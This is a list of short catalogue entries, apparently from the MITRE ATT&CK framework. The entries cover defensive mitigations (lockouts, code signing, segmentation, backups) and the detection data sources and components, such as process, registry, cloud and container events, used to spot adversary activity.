Current version: 1.0
Description: Configure features related to account use like login attempt lockouts, specific login times, etc.
Current version: 1.1
Description: Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.
Current version: 1.1
Description: Use signatures or heuristics to detect malicious software.
Current version: 1.0
Description: This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
Current version: 1.1
Description: Restrict execution of code to a virtual environment on or in transit to an endpoint system.
Current version: 1.1
Description: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.
Current version: 1.0
Description: Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.
Current version: 1.1
Description: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.
Current version: 1.1
Description: Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.
Current version: 1.1
Description: Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
Current version: 1.0
Description: Protect sensitive information with strong encryption.
Current version: 1.1
Description: Block execution of code on a system through application control, and/or script blocking.
Current version: 1.1
Description: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.
Current version: 1.1
Description: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.
Current version: 1.0
Description: Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.
Current version: 1.0
Description: Block users or groups from installing or using unapproved hardware on systems, including USB devices.
Current version: 1.0
Description: Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.
Current version: 1.0
Description: Use intrusion detection signatures to block traffic at network boundaries.
Current version: 1.1
Description: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.
Current version: 1.1
Description: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
Current version: 1.0
Description: Set and enforce secure password policies for accounts.
Current version: 1.1
Description: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
Current version: 1.1
Description: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.
Current version: 1.0
Description: Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.
Current version: 1.0
Description: Restrict the ability to modify certain hives or keys in the Windows Registry.
Current version: 1.0
Description: Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
Current version: 1.0
Description: Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.
Current version: 1.1
Description: Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.
Current version: 1.0
Description: A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.
Current version: 1.0
Description: Perform regular software updates to mitigate exploitation risk.
Current version: 1.1
Description: Manage the creation, modification, use, and permissions associated to user accounts.
Current version: 1.1
Description: Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.
Current version: 1.1
Description: Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.
Current version: 1.0
Description: A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)
Current version: 1.0
Description: Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)
Current version: 1.0
Description: A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications
Current version: 1.0
Description: Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)
Current version: 1.0
Description: Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)
Current version: 1.0
Description: A set of containerized computing resources that are managed together but have separate nodes to execute various tasks and/or applications(Citation: Kube Cluster Admin)(Citation: Kube Cluster Info)
Current version: 1.0
Description: A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)
Current version: 1.0
Description: A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)
Current version: 1.0
Description: Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)
Current version: 1.0
Description: A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)
Current version: 1.0
Description: A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)
Current version: 1.0
Description: A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media)(Citation: Microsoft File Mgmt)
Current version: 1.0
Description: A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)
Current version: 1.0
Description: Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
Current version: 1.0
Description: A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)
Current version: 1.0
Description: A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)
Current version: 1.0
Description: A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)
Current version: 1.0
Description: Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet
Current version: 1.0
Description: A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)
Current version: 1.0
Description: Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorizaton(Citation: Microsoft Audit Logon Events)
Current version: 1.0
Description: Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries
Current version: 1.0
Description: Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)
Current version: 1.0
Description: Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)
Current version: 1.0
Description: A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)
Current version: 1.0
Description: Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
Current version: 1.0
Description: A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims
Current version: 1.0
Description: A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)
Current version: 1.0
Description: Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)
Current version: 1.0
Description: Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)
Current version: 1.0
Description: A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)
Current version: 1.0
Description: Information from host telemetry providing insights about system status, errors, or other notable functional activity
Current version: 1.0
Description: A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)
Current version: 1.0
Description: A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)
Current version: 1.0
Description: A profile representing a user, device, service, or application used to authenticate and access resources
Current version: 1.0
Description: Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)
Current version: 1.0
Description: The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)
Current version: 1.0
Description: Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)
Current version: 1.0
Description: A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)
Current version: 1.0
Description: Queried domain name system (DNS) registry data highlighting current domain to IP address resolutions (ex: dig/nslookup queries)
Current version: 1.0
Description: A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)
Current version: 1.0
Description: Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)
Current version: 1.0
Description: Initial construction of a new active directory object (ex: Windows EID 5137)
Current version: 1.0
Description: Removal of an active directory object (ex: Windows EID 5141)
Current version: 1.0
Description: Changes made to an active directory object (ex: Windows EID 5163 or 5136)
Current version: 1.0
Description: Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Current version: 1.0
Description: Queried or logged information highlighting current and expired digital certificates (ex: Certificate transparency)
Current version: 1.0
Description: Deactivation or stoppage of a cloud service (ex: AWS Cloudtrail StopLogging)
Current version: 1.0
Description: An extracted list of cloud services (ex: AWS ECS ListServices)
Current version: 1.0
Description: Contextual data about a cloud service and activity around it such as name, type, or purpose/function
Current version: 1.0
Description: Changes made to a cloud service, including its settings and/or data (ex: AWS CloudTrail DeleteTrail or DeleteConfigRule)
Current version: 1.0
Description: Opening of a cloud storage infrastructure, typically to collect/read its value (ex: AWS S3 GetObject)
Current version: 1.0
Description: Initial construction of new cloud storage infrastructure (ex: AWS S3 CreateBucket)
Current version: 1.0
Description: Removal of cloud storage infrastructure (ex: AWS S3 DeleteBucket)
Current version: 1.0
Description: An extracted list of cloud storage infrastructure (ex: AWS S3 ListBuckets or ListObjects)
Current version: 1.0
Description: Contextual data about cloud storage infrastructure and activity around it such as name, size, or owner
Current version: 1.0
Description: Changes made to cloud storage infrastructure, including its settings and/or data (ex: AWS S3 PutObject or PutObjectAcl)
Current version: 1.0
Description: Contextual data about a cluster and activity around it such as name, namespace, age, or status
Current version: 1.0
Description: Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Current version: 1.0
Description: Initial construction of a new container (ex: docker create
Current version: 1.0
Description: An extracted list of containers (ex: docker ps)
Current version: 1.0
Description: Contextual data about a container and activity around it such as name, ID, image, or status
Current version: 1.0
Description: Activation or invocation of a container (ex: docker start or docker restart)
Current version: 1.0
Description: Information about domain name assignments and other domain metadata (ex: WHOIS)
Current version: 1.0
Description: Opening of a data storage device with an assigned drive letter or mount point
Current version: 1.0
Description: Initial construction of a drive letter or mount point to a data storage device
Current version: 1.0
Description: Changes made to a drive letter or mount point of a data storage device
Current version: 1.0
Description: Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Current version: 1.0
Description: Contextual data about a driver and activity around it such as driver issues reporting or integrity (page hash, code) checking
Current version: 1.0
Description: Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Current version: 1.0
Description: Initial construction of a new file (ex: Sysmon EID 11)
Current version: 1.0
Description: Removal of a file (ex: Sysmon EID 23)
Current version: 1.0
Description: Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Current version: 1.0
Description: Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Current version: 1.0
Description: Deactivation or stoppage of a cloud service (ex: Write/Delete entries within Azure Firewall Activity Logs)
Current version: 1.0
Description: An extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)
Current version: 1.0
Description: Contextual data about a firewall and activity around it such as name, policy, or status
Current version: 1.0
Description: Changes made to a firewall rule, typically to allow/block specific network traffic (ex: Windows EID 4950 or Write/Delete entries within Azure Firewall Rule Collection Activity Logs)
Current version: 1.0
Description: Changes made to firmware, including its settings and/or data, such as MBR (Master Boot Record) and VBR (Volume Boot Record)
Current version: 1.0
Description: An extracted list of available groups and/or their associated settings (ex: AWS list-groups)
Current version: 1.0
Description: Contextual data about a group which describes group and activity around it, such as name, permissions, or user accounts within the group
Current version: 1.0
Description: Changes made to a group, such as membership, name, or permissions (ex: Windows EID 4728 or 4732, AWS IAM UpdateGroup)
Current version: 1.0
Description: Logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)
Current version: 1.0
Description: Initial construction of a virtual machine image (ex: Azure Compute Service Images PUT)
Current version: 1.0
Description: Removal of a virtual machine image (ex: Azure Compute Service Images DELETE)
Current version: 1.0
Description: Contextual data about a virtual machine image such as name, resource group, state, or type
Current version: 1.0
Description: Changes made to a virtual machine image, including setting and/or control data (ex: Azure Compute Service Images PATCH)
Current version: 1.0
Description: Initial construction of a new instance (ex: instance.insert within GCP Audit Logs)
Current version: 1.0
Description: Removal of an instance (ex: instance.delete within GCP Audit Logs)
Current version: 1.0
Description: An extracted list of instances within a cloud environment (ex: instance.list within GCP Audit Logs)
Current version: 1.0
Description: Contextual data about an instance and activity around it such as name, type, or status
Current version: 1.0
Description: Changes made to an instance, including its settings and/or control data (ex: instance.addResourcePolicies or instances.setMetadata within GCP Audit Logs)
Current version: 1.0
Description: Activation or invocation of an instance (ex: instance.start within GCP Audit Logs)
Current version: 1.0
Description: Deactivation or stoppage of an instance (ex: instance.stop within GCP Audit Logs)
Current version: 1.0
Description: An object file that contains code to extend the running kernel of an OS, typically used to add support for new hardware (as device drivers) and/or filesystems, or for adding system calls
Current version: 1.0
Description: Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Current version: 1.0
Description: Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
Current version: 1.0
Description: Code, strings, and other signatures that compromise a malicious payload
Current version: 1.0
Description: Contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information
Current version: 1.0
Description: Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Current version: 1.0
Description: Contextual data about a named pipe on a system, including pipe name and creating process (ex: Sysmon EIDs 17-18)
Current version: 1.0
Description: Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Current version: 1.0
Description: Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)
Current version: 1.0
Description: Logged network traffic data showing both protocol header and body values (ex: PCAP)
Current version: 1.0
Description: Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Current version: 1.0
Description: Operating system function/method calls executed by a process
Current version: 1.0
Description: Logged domain name system (DNS) data highlighting timelines of domain to IP address resolutions (ex: passive DNS)
Current version: 1.0
Description: Initial construction of a new pod (ex: kubectl apply|run)
Current version: 1.0
Description: An extracted list of pods within a cluster (ex: kubectl get pods)
Current version: 1.0
Description: Contextual data about a pod and activity around it such as name, ID, namespace, or status
Current version: 1.0
Description: Changes made to a pod, including its settings and/or control data (ex: kubectl set|patch|edit)
Current version: 1.0
Description: Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)
Current version: 1.0
Description: Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Current version: 1.0
Description: Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.
Current version: 1.0
Description: Changes made to a process, or its contents, typically to write and/or execute code in the memory of the target process (ex: Sysmon EID 8)
Current version: 1.0
Description: Exit of a running process (ex: Sysmon EID 5 or Windows EID 4689)
Current version: 1.0
Description: Logged network traffic in response to a scan showing both protocol header and body values
Current version: 1.0
Description: Contextual data about an Internet-facing resource gathered from a scan, such as running services or ports
Current version: 1.0
Description: Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Current version: 1.0
Description: Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.
Current version: 1.0
Description: Changes made to a scheduled job, such as modifications to the execution launch (ex: Windows EID 4702 or /var/log cron logs)
Current version: 1.0
Description: Launching a list of commands through a script file (ex: Windows EID 4104)
Current version: 1.0
Description: Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Current version: 1.0
Description: Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.
Current version: 1.0
Description: Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Current version: 1.0
Description: Initial construction of a new snapshot (ex: AWS create-snapshot)
Current version: 1.0
Description: Removal of a snapshot (ex: AWS delete-snapshot)
Current version: 1.0
Description: An extracted list of snapshops within a cloud environment (ex: AWS describe-snapshots)
Current version: 1.0
Description: Contextual data about a snapshot, which may include information such as ID, type, and status
Current version: 1.0
Description: Changes made to a snapshop, such as metadata and control data (ex: AWS modify-snapshot-attribute)
Current version: 1.0
Description: Established, compromised, or otherwise acquired social media personas
Current version: 1.0
Description: An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
Current version: 1.0
Description: Initial construction of a new account (ex: Windows EID 4720 or /etc/passwd logs)
Current version: 1.0
Description: Removal of an account (ex: Windows EID 4726 or /var/log access/authentication logs)
Current version: 1.0
Description: Contextual data about an account, which may include a username, user ID, environmental data, etc.
Current version: 1.0
Description: Changes made to an account, such as permissions and/or membership in specific groups (ex: Windows EID 4738 or /var/log access/authentication logs)
Current version: 1.0
Description: Initial construction of a cloud volume (ex: AWS create-volume)
Current version: 1.0
Description: Removal of a a cloud volume (ex: AWS delete-volume)
Current version: 1.0
Description: An extracted list of available volumes within a cloud environment (ex: AWS describe-volumes)
Current version: 1.0
Description: Contextual data about a cloud volume and activity around it, such as id, type, state, and size
Current version: 1.0
Description: Changes made to a cloud volume, including its settings and control data (ex: AWS modify-volume)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Initial construction of new web credential material (ex: Windows EID 1200 or 4769)
Current version: 1.0
Description: An attempt by a user to gain access to a network or computing resource by providing web credentials (ex: Windows EID 1202)
Current version: 1.0
Description: Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)
Current version: 1.0
Description: Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Current version: 1.0
Description: Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)
Current version: 1.0
Description: Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)